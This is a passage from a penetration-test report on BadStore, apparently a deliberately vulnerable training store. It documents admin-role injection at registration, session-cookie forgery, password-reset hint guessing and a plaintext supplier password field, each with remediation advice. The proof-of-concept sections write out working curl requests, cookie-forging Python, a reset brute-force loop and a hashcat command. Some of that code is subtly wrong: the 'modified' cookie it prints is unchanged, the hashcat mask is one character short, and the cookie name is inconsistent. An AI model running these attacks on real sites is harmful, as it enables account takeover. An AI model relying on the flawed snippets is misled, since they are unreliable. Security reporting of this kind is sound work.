5. Observe “Welcome Supplier” page with upload form

6.32 Remediation

1. **Critical:** Use parameterized queries for supplier authentication
2. **Implement proper session management** - supplier access should require valid credentials
3. **Add authorization checks** on file upload endpoints
4. **Disable detailed error messages** to prevent information leakage
5. **Implement multi-factor authentication** for privileged supplier accounts
6. **Log and monitor** supplier portal access attempts
7. **Rate limiting** on authentication endpoints to prevent brute force
8. **File upload security:**
 - Whitelist allowed file extensions
 - Validate file content (not just extension)
 - Store uploads outside web root
 - Implement virus scanning

6.33 References

- OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
- OWASP Authentication Bypass: https://owasp.org/www-community/attacks/Authentication_Bypass
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command
- CWE-306: Missing Authentication for Critical Function

Proof of Concept

Not provided

Remediation

Not provided

Evidence

- Successful supplier portal authentication bypass showing Welcome Supplier page with file upload functionality accessible via SQL injection: [images/finding-5c86c742-2cb1-4ab6-ac61-ed27dd446428-10-sqli-supplier-bypass-17402682925.txt](#)

6.34 Finding

6.34.1 Privilege Escalation via Hidden Role Parameter in Registration

Severity	Critical
CVSS Base Score	9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Assets	http://badstore:80/cgi-bin/badstore.cgi?action=register , http://badstore:80/cgi-bin/badstore.cgi?action=loginregister
Status	open

Description

6.35 Vulnerability Summary

The user registration form at `/cgi-bin/badstore.cgi?action=register` contains a hidden `role` parameter set to 'U' (User) by default. This parameter is fully client-controlled and can be modified during registration to escalate privileges to 'A' (Admin) without any server-side validation.

6.36 Technical Details

Vulnerable Endpoint: `/cgi-bin/badstore.cgi?action=register` **Vulnerable Parameter:** `role` (POST, hidden field) **Default Value:** 'U' (User) **Exploitable Value:** 'A' (Admin) **Authentication Required:** No

6.37 Proof of Concept

6.37.1 1. Registration Form Analysis

The registration form HTML contains:

```
<form method="post" action="/cgi-bin/badstore.cgi?action=register">
  <input type="text" name="fullname" size="25" maxlength="40" />
  <input type="text" name="email" size="20" maxlength="40" />
  <input type="password" name="passwd" size="8" maxlength="8" />
  <select name="pwdhint">
    <option value="green">Green</option>
    <option value="blue">Blue</option>
    <option value="red">Red</option>
    <option value="orange">Orange</option>
    <option value="purple">Purple</option>
    <option value="yellow">Yellow</option>
  </select>
  <input type="hidden" name="role" value="U" />
  <input type="submit" value="Register" />
</form>
```

6.37.2 2. Exploitation

Step 1: Modify the hidden role parameter from 'U' to 'A'

```
curl -X POST 'http://badstore:80/cgi-bin/badstore.cgi?action=register' \
-d 'fullname=TestAdmin&email=testadmin@test.com&passwd=test1234&pwdhint=green&role=A' \
-H 'Content-Type: application/x-www-form-urlencoded'
```

Step 2: Server accepts the registration and creates admin account

Response:

HTTP/1.1 200 OK

Set-Cookie: SS0id=dGVzdGFkbWluQHRlc3QuY29tOjE2ZDdhNGZjYTc0NDJkZGEzYWQ5M2M5YTcy

Step 3: Decode the session cookie to verify admin role

```
import base64
cookie = 'dGVzdGFkbWluQHRlc3QuY29tOjE2ZDdhNGZjYTc0NDJkZGEzYWQ5M2M5YTcyNjU5N2U0lRlc3RBZG1pbjpb'
print(base64.b64decode(cookie).decode())
# Output: testadmin@test.com:16d7a4fca7442dda3ad93c9a726597e4:TestAdmin:A
```

The decoded cookie structure is: email:password_hash:fullname:role The role field shows 'A' (Admin) instead of 'U' (User)

Step 4: Verify admin access

```
curl -b
  "SS0id=dGVzdGFkbWluQHRlc3QuY29tOjE2ZDdhNGZjYTc0NDJkZGEzYWQ5M2M5YTcyNjU5N2U0lRlc3RBZG1pbjpb" \
  http://badstore:80/cgi-bin/badstore.cgi?action=myaccount
```

Response confirms admin role:

```
<h2>Welcome, TestAdmin</h2>  
<input type="hidden" name="role" value="A" />
```

6.38 Impact

1. **Complete Authorization Bypass:** Any unauthenticated user can self-register with full administrative privileges
2. **No Legitimate Admin Accounts Required:** Attackers don't need to compromise existing admin accounts; they can create their own
3. **Full System Access:** Admin role grants access to:
 - All user account management functions
 - Supplier portal access
 - Order history viewing for all users
 - System configuration and settings
 - Potential backend administrative functions
4. **Persistent Access:** The malicious admin account persists in the database, providing long-term unauthorized access
5. **Difficult to Detect:** The registration appears legitimate and indistinguishable from normal user registration in logs

6.39 Root Cause

The application trusts the client-supplied role parameter without any server-side validation or authorization check. The server should:

- Never accept role assignments from user input
- Hard-code default role as 'U' on the server side
- Implement proper authorization checks for role elevation
- Require existing admin approval for admin account creation

6.40 Reproduction Steps

1. Navigate to: `http://badstore:80/cgi-bin/badstore.cgi?action=loginregister`
2. Open browser developer tools (F12) and inspect the registration form
3. Find the hidden input: `<input type="hidden" name="role" value="U" />`
4. Change the value from 'U' to 'A'
5. Fill out the registration form normally:

- Full Name: TestAdmin
 - Email: testadmin@test.com
 - Password: test1234
 - Password Hint: Any color
6. Submit the form
 7. Observe immediate admin access
 8. Navigate to “My Account” and confirm role='A'

6.41 Remediation

1. **Immediate Fix:** Remove the role parameter from the registration form entirely
2. **Server-Side Enforcement:** Hard-code new user role as 'U' in the server-side registration handler
3. **Authorization Matrix:** Implement proper authorization checks requiring existing admin privileges to create admin accounts
4. **Admin Account Creation:** Create separate admin account creation workflow accessible only to existing admins
5. **Input Validation:** Never trust client-supplied authorization/privilege parameters
6. **Security Review:** Audit all forms for similar hidden parameter vulnerabilities
7. **Principle of Least Privilege:** Default all new accounts to minimum privilege level

6.42 References

- CWE-269: Improper Privilege Management
- CWE-639: Authorization Bypass Through User-Controlled Key
- OWASP Top 10 2021: A01 Broken Access Control
- OWASP Testing Guide: Testing for Privilege Escalation

Proof of Concept

Not provided

Remediation

Not provided

Evidence

- Detailed privilege escalation via role parameter manipulation showing registration with role=A, cookie structure analysis, and admin access confirmation: [images/finding-93202059-a18d-4694-8734-947faf8843ab-12-privilege-escalation-1740622019.txt](#)
- Registration form showing password hint limited to 6 color options and 8-character password maximum

BadStore.net

Welcome {Unregistered User} - Cart contains 0 items at \$0.00

[View Cart](#)

Shop Badstore.net

[Home](#)
[What's New](#)
[Sign Our Guestbook](#)
[View Previous Orders](#)
[About Us](#)
[My Account](#)
[Login / Register](#)

Suppliers Only

[Supplier Login](#)
[Supplier Contract](#)
[Supplier Procedures](#)

Reference

[BadStore.net Manual v1.2](#)

Login to Your Account or Register for a New Account

Login to Your Account

Email Address:

Password:

Login

Register for a New Account

Full Name:

Email Address:

Password:

Password Hint:

What's Your Favorite Color?:

(The Password Hint is used as a security question for your new password. You will need both your email address and password to login to your account if you forget your current password.)

Register

BadStore v1.2.3s - Copyright © 2004-2005

Figure 6.2: Registration form showing password hint limited to 6 color options and 8-character password maximum

6.43 Finding

6.43.1 Session Cookie Manipulation for Privilege Escalation

Severity

High

CVSS Base Score	8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
------------------------	---

Assets	http://badstore:80/cgi-bin/badstore.cgi (all authenticated endpoints)
---------------	---

Status	open
---------------	------

Description

6.44 Vulnerability Summary

Session cookies (SSOid) lack cryptographic integrity protection, allowing authenticated users to modify the role field in their session cookie to escalate from regular user ('U') to administrator ('A'). The cookie is only base64-encoded without any HMAC or digital signature, making tampering trivial.

6.45 Technical Details

Cookie Name: SSOid **Cookie Structure:** email:password_hash:fullname:role (base64-encoded) **Vulnerable Field:** role (last field in cookie structure) **Normal User Role:** 'U' **Admin Role:** 'A' **Protection Mechanism:** None (no HMAC, signature, or encryption)

6.46 Proof of Concept

6.46.1 Step 1: Register Normal User Account

```
curl -X POST 'http://badstore:80/cgi-bin/badstore.cgi?action=register' \
-d 'fullname=VictimUser&email=victim@test.com&passwd=pass1234&pwdhint=blue&role=U' \
-H 'Content-Type: application/x-www-form-urlencoded'
```

Response:

Set-Cookie: SSOid=dmljdGltQHRlc3QuY29tOmI0YWY4MDQwMDljYjAzNmE0Y2NkYzMzNDMxZWY5

6.46.2 Step 2: Decode Original Cookie

```
import base64
original =
↳ base64.b64decode('dmljdGltQHRlc3QuY29tOmI0YWY4MDQwMDljYjAzNmE0Y2NkYzMzNDMxZWY5YWM5OlZpY3RpbVVzZXI6VQ==')
print(original)
# Output: victim@test.com:b4af804009cb036a4ccdc33431ef9ac9:VictimUser:U
```

Cookie structure breakdown: - Email: victim@test.com - Password Hash: b4af804009cb036a4ccdc33431ef9ac9 (MD5 hash) - Full Name: VictimUser - Role: U (User)

6.46.3 Step 3: Modify Cookie to Escalate Privileges

```
import base64
import urllib.parse

# Change role from 'U' to 'A'
modified = "victim@test.com:b4af804009cb036a4ccdc33431ef9ac9:VictimUser:A"
encoded = base64.b64encode(modified.encode()).decode()
print(f"Modified Cookie: {encoded}")
# Output:
↳ dmljdGltQHRlc3QuY29tOmI0YWY4MDQwMDljYjAzNmE0Y2NkYzMzNDMxZWY5YWM5OlZpY3RpbVVzZXI6VQ==
```

6.46.4 Step 4: Use Modified Cookie to Access Admin Functions

```
curl -b
↳ "SSOid=dmljdGltQHRlc3QuY29tOmI0YWY4MDQwMDljYjAzNmE0Y2NkYzMzNDMxZWY5YWM5OlZpY3RpbVVzZXI6VQ=="
↳ \
http://badstore:80/cgi-bin/badstore.cgi?action=myaccount
```

Response confirms privilege escalation:

```
<h2>Welcome, VictimUser</h2>
<input type="hidden" name="role" value="A" />
```

The application now treats the user as an administrator despite registering as a regular user.

6.47 Impact

1. **Complete Privilege Escalation:** Any authenticated user (even with lowest privileges) can elevate to administrator
2. **No Detection:** Cookie modification leaves no server-side audit trail, making detection extremely difficult

3. **Full Administrative Access:** Escalated users gain access to:
 - All user account management functions
 - Ability to modify any user account (including password resets)
 - Access to restricted administrative pages
 - Supplier portal and sensitive business functions
 - Order history for all customers
4. **Persistent Attack:** Modified cookie persists for entire session duration
5. **Mass Compromise Potential:** Attackers can script cookie modification to automate privilege escalation across multiple accounts
6. **Additional Session Vulnerabilities:**
 - Cookie lacks HttpOnly flag (vulnerable to XSS-based theft)
 - Cookie lacks Secure flag (can be intercepted over HTTP)
 - Cookie lacks SameSite attribute (vulnerable to CSRF)
 - Session tokens are predictable (based on email and MD5 hash)

6.48 Root Cause Analysis

1. **No Integrity Protection:** Cookie is only base64-encoded, which is encoding not encryption
2. **No Cryptographic Signature:** No HMAC or digital signature to verify cookie authenticity
3. **Client-Side Trust:** Server trusts the role value in client-controlled cookie
4. **Weak Session Design:** Critical authorization data stored client-side without protection

6.49 Reproduction Steps

1. Register a normal user account at `http://badstore:80/cgi-bin/badstore.cgi?action=loginregister`
2. Extract the SSoid cookie from browser or response headers
3. Base64-decode the cookie value
4. Modify the last field from 'U' to 'A'
5. Base64-encode the modified value
6. Replace the SSoid cookie in browser with modified value
7. Navigate to `http://badstore:80/cgi-bin/badstore.cgi?action=myaccount`
8. Observe admin role granted: `<input type="hidden" name="role" value="A" />`
9. Access administrative functions without restriction

6.50 Remediation

6.50.1 Immediate Fixes

1. **Server-Side Session Storage:** Store role and authorization data in server-side sessions, not in cookies
2. **Cryptographic Integrity:** If using cookie-based sessions, implement HMAC-SHA256 signature
3. **Session Token Only:** Cookie should contain only a random, unpredictable session ID

6.50.2 Comprehensive Solution

Session Cookie: SS0id=<random_128bit_session_id>; HttpOnly; Secure; SameSite=Strict
Server-Side Storage:

```
session_id -> {  
  email: "user@example.com",  
  role: "U",  
  created_at: timestamp,  
  last_activity: timestamp  
}
```

6.50.3 Additional Security Controls

4. **Add Security Flags:**
 - HttpOnly: Prevent JavaScript access
 - Secure: Transmit only over HTTPS
 - SameSite=Strict: Prevent CSRF attacks
5. **Session Validation:** On every request, validate:
 - Session exists server-side
 - Session not expired
 - Session tied to IP/User-Agent (optional, for high security)
 - Role retrieved from server-side storage, never from cookie
6. **Regular Session Rotation:** Regenerate session IDs on privilege changes
7. **Strong Session IDs:** Use cryptographically secure random number generator for session tokens (minimum 128 bits entropy)

6.51 References

- CWE-565: Reliance on Cookies without Validation and Integrity Checking
- CWE-384: Session Fixation
- CWE-807: Reliance on Untrusted Inputs in a Security Decision
- OWASP Top 10 2021: A01 Broken Access Control
- OWASP Top 10 2021: A07 Identification and Authentication Failures
- OWASP Session Management Cheat Sheet

Proof of Concept

Not provided

Remediation

Not provided

Evidence

- Complete cookie manipulation attack demonstrating privilege escalation from User (U) to Admin (A) via base64 decoding, modification, and re-encoding of SSoid session cookie: [images/finding-7ab765e4-1970-4d67-a5a6-ea7ea15a81c7-14-cookie-manipulation-privilege-escalation-1740622145.txt](#)
- Session management vulnerability analysis showing lack of integrity protection, missing security flags (HttpOnly, Secure, SameSite), and client-side role storage: [images/finding-7ab765e4-1970-4d67-a5a6-ea7ea15a81c7-15-insecure-session-management-1740622075.txt](#)

6.52 Finding

6.52.1 Weak Password Policy and Insecure Password Reset Mechanism

Severity	Critical
CVSS Base Score	9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
Assets	http://badstore:80/cgi-bin/badstore.cgi?action=loginregister , http://badstore:80/cgi-bin/badstore.cgi?action=login , http://badstore:80/cgi-bin/badstore.cgi?action=register , http://badstore:80/cgi-bin/badstore.cgi?action=pwdreset
Status	open

Description

6.53 Vulnerability Summary

The application enforces a maximum password length of only 8 characters combined with a password reset mechanism that uses only 6 predefined color hints. This combination creates a severe authentication weakness that enables trivial account takeover attacks.

6.54 Technical Details

6.54.1 Weakness 1: 8-Character Password Maximum

Location: All password input fields **HTML Evidence:**

```
<!-- Login Form -->
<input type="password" name="passwd" size="8" maxlength="8" />

<!-- Registration Form -->
<input type="password" name="passwd" size="8" maxlength="8" />

<!-- Supplier Login -->
<input type="text" name="passwd" size="8" maxlength="8" />
```

Impact on Password Entropy: - 8 characters with lowercase only: $26^8 = 208$ billion combinations - 8 characters with lowercase + uppercase: $52^8 = 53$ trillion combinations - 8 characters with alphanumeric: $62^8 = 218$ trillion combinations - 8 characters with all printable: $95^8 = 6.6$ quadrillion combinations

While large numbers, these are easily brute-forced with modern hardware: - GPU can test billions of MD5 hashes per second - 8-char alphanumeric crackable in hours/days with consumer GPUs - Rainbow tables readily available for 8-char passwords

6.54.2 Weakness 2: Password Hints Limited to 6 Colors

Location: Registration and password reset **HTML Evidence:**

```
<select name="pwdhint">
  <option value="green">Green</option>
  <option value="blue">Blue</option>
  <option value="red">Red</option>
  <option value="orange">Orange</option>
  <option value="purple">Purple</option>
  <option value="yellow">Yellow</option>
</select>
```

Impact: - Only 6 possible password hints (16.67% success rate per guess) - Password reset only requires email + correct color hint - No rate limiting observed on reset attempts - Attacker can try all 6 colors in rapid succession

6.55 Proof of Concept

6.55.1 Attack Scenario 1: Password Reset Bypass

Step 1: Identify target email address (from user enumeration, data breach, or social engineering)

Step 2: Attempt password reset with all 6 color hints

```
for color in green blue red orange purple yellow; do
  curl -X POST 'http://badstore:80/cgi-bin/badstore.cgi?action=pwdreset' \
    -d "email=target@example.com&pwdhint=$color" \
    -H 'Content-Type: application/x-www-form-urlencoded'
done
```

Result: Within 6 attempts (average 3), attacker finds correct hint and gains password reset capability

6.55.2 Attack Scenario 2: Brute Force 8-Character Passwords

Using hashcat with MD5 hashes (application uses MD5 for password storage):

```
# Extract password hash from SQL injection or database access
# Hash format visible in cookies: b4af804009cb036a4ccdc33431ef9ac9

# Brute force 8-character passwords
hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a?a
```

Performance: - Modern GPU (RTX 4090): ~200 billion MD5/sec - 8-char alphanumeric (218 trillion): ~18 minutes - 8-char all printable (6.6 quadrillion): ~9 hours

6.55.3 Attack Scenario 3: Combined Attack

1. Enumerate valid email addresses (registration attempts show “email already exists”)
2. For each email:
 - Try all 6 password hints (one will succeed)
 - Reset password to known 8-char password
 - Login with compromised account
3. If password reset requires old password:
 - Extract password hash via SQL injection (already confirmed vulnerable)
 - Brute force 8-char hash (hours with GPU)
 - Complete password reset

6.56 Impact

6.56.1 Critical Security Issues

1. Trivial Account Takeover:

- Only 6 attempts needed to find correct password hint (16.67% per try)
- No rate limiting or lockout mechanism observed
- Can automate password reset for mass account compromise

2. Weak Password Enforcement:

- Users cannot create strong passphrases (limited to 8 chars)
- Violates NIST SP 800-63B guidelines (minimum 8, no maximum under 64)
- Significantly reduces time to crack passwords

3. Compliance Violations:

- PCI-DSS 8.2.3: Passwords minimum 7 chars with complexity OR minimum 8 chars
- NIST 800-63B: Minimum 8 characters, recommend no maximum
- GDPR: Inadequate technical measures to protect personal data

4. Combined with Other Vulnerabilities:

- SQL injection exposes MD5 password hashes
- MD5 is cryptographically broken (fast to crack)
- 8-char maximum makes brute force feasible
- 6-color hints make password reset trivial
- Complete authentication system compromise

6.57 Evidence from Registration Form

From registration page HTML: - Password field: `maxLength="8"` - enforces 8 character maximum - Password hint dropdown: Only 6 color options - Hint description: "You will need both your email address and this hint to access your account if you forget your current password."

This confirms that password reset ONLY requires: 1. Email address (easily enumerable or known) 2. One of 6 color hints (16.67% chance per guess)

6.58 Reproduction Steps

6.58.1 Testing Password Maximum

1. Navigate to `http://badstore:80/cgi-bin/badstore.cgi?action=loginregister`

2. Attempt to enter password longer than 8 characters
3. Observe input field refuses additional characters (maxlength enforcement)
4. View page source and confirm: `maxLength="8"`

6.58.2 Testing Password Hint Weakness

1. Register account with specific color hint (e.g., "green")
2. Navigate to password reset page
3. Submit email with wrong color hint - observe failure
4. Submit email with correct color hint - observe success
5. Repeat with different colors to confirm only 6 options exist
6. Calculate probability: $1/6 = 16.67\%$ per attempt

6.59 Remediation

6.59.1 Critical Priority

1. Remove Password Maximum:

```
<!-- BEFORE -->
<input type="password" name="passwd" size="8" maxlength="8" />

<!-- AFTER -->
<input type="password" name="passwd" minlength="12" maxlength="128" />
```

2. Replace Color Hints System:

- Implement email-based password reset with secure token
- Token should be:
 - Cryptographically random (128+ bits entropy)
 - Single-use only
 - Expire after 15-30 minutes
 - Transmitted via secure email link

3. Upgrade Password Hashing:

MD5 (current) -> bcrypt, scrypt, or Argon2
Cost factor: 12+ (bcrypt) or equivalent

4. Enforce Strong Passwords:

- Minimum 12 characters (NIST recommends 8 minimum, 12+ is better)
- No maximum under 128 characters
- Check against common password lists (e.g., Have I Been Pwned)
- Allow spaces and special characters

5. Implement Rate Limiting:

- Limit password reset attempts: 3-5 per hour per email
- Implement CAPTCHA after failed attempts
- Add exponential backoff for repeated failures
- Alert users of password reset attempts via email

6.59.2 Secure Password Reset Flow

1. User submits email address
2. Server generates cryptographically secure random token
3. Server stores token with expiration (15 minutes)
4. Server sends email with reset link containing token
5. User clicks link with token
6. Server validates token (exists, not expired, not used)
7. User sets new password meeting strength requirements
8. Server invalidates token and updates password
9. Server sends confirmation email
10. Server invalidates all existing sessions

6.60 References

- NIST SP 800-63B: Digital Identity Guidelines (Authentication and Lifecycle Management)
- OWASP Authentication Cheat Sheet
- CWE-521: Weak Password Requirements
- CWE-640: Weak Password Recovery Mechanism for Forgotten Password
- PCI-DSS Requirement 8.2: Password Complexity Requirements
- OWASP Top 10 2021: A07 Identification and Authentication Failures

Proof of Concept

Not provided

Remediation

Not provided

Evidence

- Weak password policy analysis showing 8-character maximum enforcement across all forms and password reset limited to only 6 predefined color hints enabling trivial account takeover: [images/finding-81bb4899-0c37-4288-ad48-82b250314f63-16-weak-password-policy-1740622050.txt](#)

- Registration form displaying 8-character password maximum (maxlength=8) and password hint dropdown limited to 6 colors (Green, Blue, Red, Orange, Purple, Yellow)

BadStore.net

Welcome {Unregistered User} - Cart contains 0 items at \$0.00 [View Cart](#)

Shop Badstore.net

[Home](#)
[What's New](#)
[Sign Our Guestbook](#)
[View Previous Orders](#)
[About Us](#)
[My Account](#)
[Login / Register](#)

Suppliers Only

[Supplier Login](#)
[Supplier Contract](#)
[Supplier Procedures](#)

Reference

[BadStore.net Manual v1.2](#)

Login to Your Account or Register for a New Account

Login to Your Account

Email Address:
Password:

Register for a New Account

Full Name:
Email Address:
Password:
What's Your Favorite Color?:
Password Hint: *(The Password Hint is used as a security question. You will need both your email address and password to log in. You will need both your email address and password to log in if you forget your current password.)*

BadStore v1.2.3s - Copyright © 2004-2005

Figure 6.3: Registration form displaying 8-character password maximum (maxlength=8) and password hint dropdown limited to 6 colors (Green, Blue, Red, Orange, Purple, Yellow)

6.61 Finding

6.61.1 Supplier Portal Password Field Exposed as Plaintext

Severity	Medium
CVSS Base Score	4.3 (CVSS:3.1/AV:P/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N)
Assets	http://badstore:80/cgi-bin/badstore.cgi?action=supplierlogin, http://badstore:80/cgi-bin/badstore.cgi?action=supplierportal
Status	open

Description

6.62 Vulnerability Summary

The supplier login form uses `type="text"` instead of `type="password"` for the password field, causing passwords to be displayed in plaintext as users type them. This exposes supplier credentials to shoulder surfing, screen recording, and screenshot attacks.

6.63 Technical Details

Vulnerable Endpoint: `/cgi-bin/badstore.cgi?action=supplierlogin` **Vulnerable Element:** Password input field **Issue:** HTML input type set to “text” instead of “password”

6.64 Proof of Concept

6.64.1 Vulnerable HTML

From supplier login page source:

```
<form method="post" action="/cgi-bin/badstore.cgi?action=supplierportal">
  <table cellpadding="0" cellspacing="0">
    <tr>
      <td width="100">Email Address:</td>
      <td><input type="text" name="email" size="15" maxlength="40" /></td>
    </tr>
    <tr>
      <td>Password:</td>
      <td><input type="text" name="passwd" size="8" maxlength="8" /></td>
    </tr>
    <tr>
      <td></td>
      <td><input type="submit" value="Login" /></td>
    </tr>
  </table>
</form>
```

```
</table>
</form>
```

Problem: The password field has type="text" instead of type="password"

6.64.2 Comparison with Regular Login

Regular user login (correct implementation):

```
<tr>
  <td>Password:</td>
  <td><input type="password" name="passwd" size="8" maxlength="8" /></td>
</tr>
```

Supplier login (vulnerable):

```
<tr>
  <td>Password:</td>
  <td><input type="text" name="passwd" size="8" maxlength="8" /></td>
</tr>
```

6.65 Impact

6.65.1 Security Risks

1. Shoulder Surfing:

- Anyone within visual range can see the password as it's typed
- Particularly dangerous in:
 - Office environments
 - Public spaces (cafes, airports, coworking spaces)
 - Conferences and trade shows
 - Shared workspaces

2. Screen Recording:

- Password visible in screen recordings (meetings, training, demos)
- Screen sharing during video calls exposes credentials
- Support/troubleshooting sessions reveal passwords

3. Screenshot Exposure:

- Accidental screenshots capture plaintext passwords
- Automated screenshot tools (monitoring, time tracking) capture credentials

- Malware screenshot capability captures passwords easily

4. **Browser Features:**

- Password may appear in browser autocomplete suggestions
- Search history may cache password values
- Developer tools show password in plaintext in DOM

5. **Elevated Risk for Supplier Accounts:**

- Supplier accounts may have elevated privileges
- Access to pricing information, contracts, inventory
- Potential to upload files to server (observed upload functionality)
- Business-critical account compromise

6.65.2 Business Impact

1. **Supplier Account Compromise:**

- Unauthorized access to supplier portal
- Manipulation of pricing data
- Upload of malicious files
- Contract information theft

2. **Compliance Violations:**

- PCI-DSS requires password masking
- Privacy regulations require reasonable security measures
- May violate supplier contracts/SLAs

3. **Reputation Damage:**

- Demonstrates poor security practices
- May deter suppliers from using portal
- Legal liability for compromised supplier data

6.66 Reproduction Steps

1. Navigate to: `http://badstore:80/cgi-bin/badstore.cgi?action=supplierlogin`
2. Click in the Password field
3. Type any password (e.g., "test1234")
4. Observe password appears in plaintext, not masked with dots/asterisks
5. View page source (Ctrl+U or right-click -> View Source)
6. Find password input field
7. Confirm: `<input type="text" name="passwd" ...>`

8. Compare to regular login page password field: `<input type="password" name="passwd" ...>`

6.67 Visual Evidence

When supplier types “supplier123” in password field: - **Expected behavior:** (masked)
- **Actual behavior:** supplier123 (plaintext visible)

6.68 Remediation

6.68.1 Immediate Fix (Critical)

Change the input type from “text” to “password”:

```
<!-- BEFORE (Vulnerable) -->
<input type="text" name="passwd" size="8" maxlength="8" />

<!-- AFTER (Secure) -->
<input type="password" name="passwd" size="8" maxlength="8" />
```

Implementation: 1. Locate supplier login form in source code 2. Find password input field (line with name="passwd") 3. Change type="text" to type="password" 4. Test to ensure password is now masked 5. Deploy immediately

6.68.2 Additional Recommendations

1. **Security Audit:** Review all login forms to ensure password fields use type="password"
2. **Code Review:** Check for:
 - Password fields in registration forms
 - Password change forms
 - Password reset forms
 - Any other credential input fields
3. **Automated Testing:** Add automated tests to verify:
 - All password fields have type="password"
 - No password values logged or displayed in responses
 - Password fields have autocomplete="new-password" or "current-password"
4. **Security Headers:** Add security headers to prevent credential exposure:

X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'

6.69 Additional Context

This vulnerability is particularly concerning because: - Suppliers may have elevated privileges compared to regular customers - Supplier portal has file upload functionality (observed on the page) - Business relationship trust is at stake - The regular user login correctly uses type="password", indicating this is likely a copy-paste or coding error, not a systematic issue

6.70 References

- OWASP Authentication Cheat Sheet: Password Field Security
- CWE-549: Missing Password Field Masking
- PCI-DSS Requirement 8.2.1: Render passwords unreadable during transmission and storage
- HTML Standard: Password Field Best Practices
- NIST SP 800-63B: Section 5.1.1.2 - Memorized Secret Verifiers

Proof of Concept

Not provided

Remediation

Not provided

Evidence

- Supplier login form HTML source showing password field incorrectly configured as type=text instead of type=password, exposing credentials in plaintext: [images/finding-457fcad0-4e00-4987-9ef1-f0f46641c0c4-18-supplier-password-disclosure-1740622110.txt](#)

7 Appendix A - Lists, Scripts and Raw Data

DRAFT

8 Appendix B - List of Abbreviations

Abbreviation	Description
API	Application Programming Interface
CAPTCHA	Completely Automated Public Turing test to tell Computers and Humans Apart
CVSS	Common Vulnerability Scoring System
FTP	File Transfer Protocol
IDOR	Insecure Direct Object Reference
MD5	Message-Digest Algorithm 5
OAuth	Open Authorization
ORM	Object-Relational Mapping
OWASP	Open Web Application Security Project
PII	Personally Identifiable Information
SQL	Structured Query Language
TOTP	Time-based One-Time Password
URI	Uniform Resource Identifier
WAF	Web Application Firewall

+-----+-----+